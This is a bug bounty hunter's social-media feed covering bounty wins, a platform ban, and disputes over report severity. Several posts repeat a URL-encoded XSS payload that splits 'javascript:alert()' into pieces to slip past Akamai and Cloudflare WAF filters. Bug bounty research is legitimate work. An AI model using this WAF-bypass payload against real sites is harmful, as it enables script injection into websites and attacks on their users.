Deepak bug_vs_me
@bug_vs_me
Followers
12K
Following
11K
Media
386
Statuses
5K
security researcher | Bug Bounty hunter
Bharat 🇮🇳
Joined March 2020
Yay, I was awarded a $5,000 bounty on @Hacker0x01!. @EpicGames the Best team on H1 #TogetherWeHitHarder.
hackerone.com
🧑💻 -
19
12
292
Great collaboration XSS to P2 esclation.
2
0
30
If anyone needs help bypassing XSS WAFs, you should definitely reach out to him. he’s really skilled at it. I shared targets like MakeMyTrip and a few other sites with him and he did an amazing job.
3
1
31
onToggLe='let%20x=%60javascri%60%3Blet%20y=%60pt:aler%60%3Blet%20z=%60t()%60%3Blet%20a=x+y+z%3Blocation=a'>.
5
15
196
in case some guys say it don't work you have to use it with specific tag and trick WAF regex :) i cant share full payload as they will fix it
0
0
13
Akamai + cloudflare bypass if onerror=alert() blocked i mean ofcource its blocked so you can use below payload
onToggLe='let%20x=%60javascri%60%3Blet%20y=%60pt:aler%60%3Blet%20z=%60t()%60%3Blet%20a=x+y+z%3Blocation=a'>.
2
17
221
onToggLe='let%20x=%60javascri%60%3Blet%20y=%60pt:aler%60%3Blet%20z=%60t()%60%3Blet%20a=x+y+z%3Blocation=a'>.
3
7
112
Hey anyone have good self hosted bug bounty program, please DM me, we will collaborate there.
5
0
9
Looks like i need to left bug bounty and start new life.
10
1
63
And i got ban for low quality report ( i don't think so), and contacting team member 😶🌫️.
0
0
10
i blocked this shit ads multiple times still it shows on every YT video, @YouTube i dont wana see this, why can't you block this adv, if user once reported it. :/
11
0
27
Spent 2 days escalatin' a false positive bug—shit hurts :). But still, learned hella new stuff while tryin’ to escalate that vuln.
2
0
28
Need help, i am running a application ( using pnpm) locally on my macbook, i want to proxy all application request through burp-suite, for example application sent a request in backends to GitHub API to fetch data, how can i capture and intercept that request?.
3
0
9
I am writing here because i tried my best to get help from @Hacker0x01 and @GitHubSecurity team non of any responded that's really demotivating, so have to write here to get some help.
0
0
10
Hi anyone from @GitHubSecurity team here?. 2 months ago me and my friend reported a Stored DOM XSS on GitHub main domain with great chain to make it high severity report, but someone from team came set severity low, rewardes low bounty and closed report without any explanation :(
8
5
104
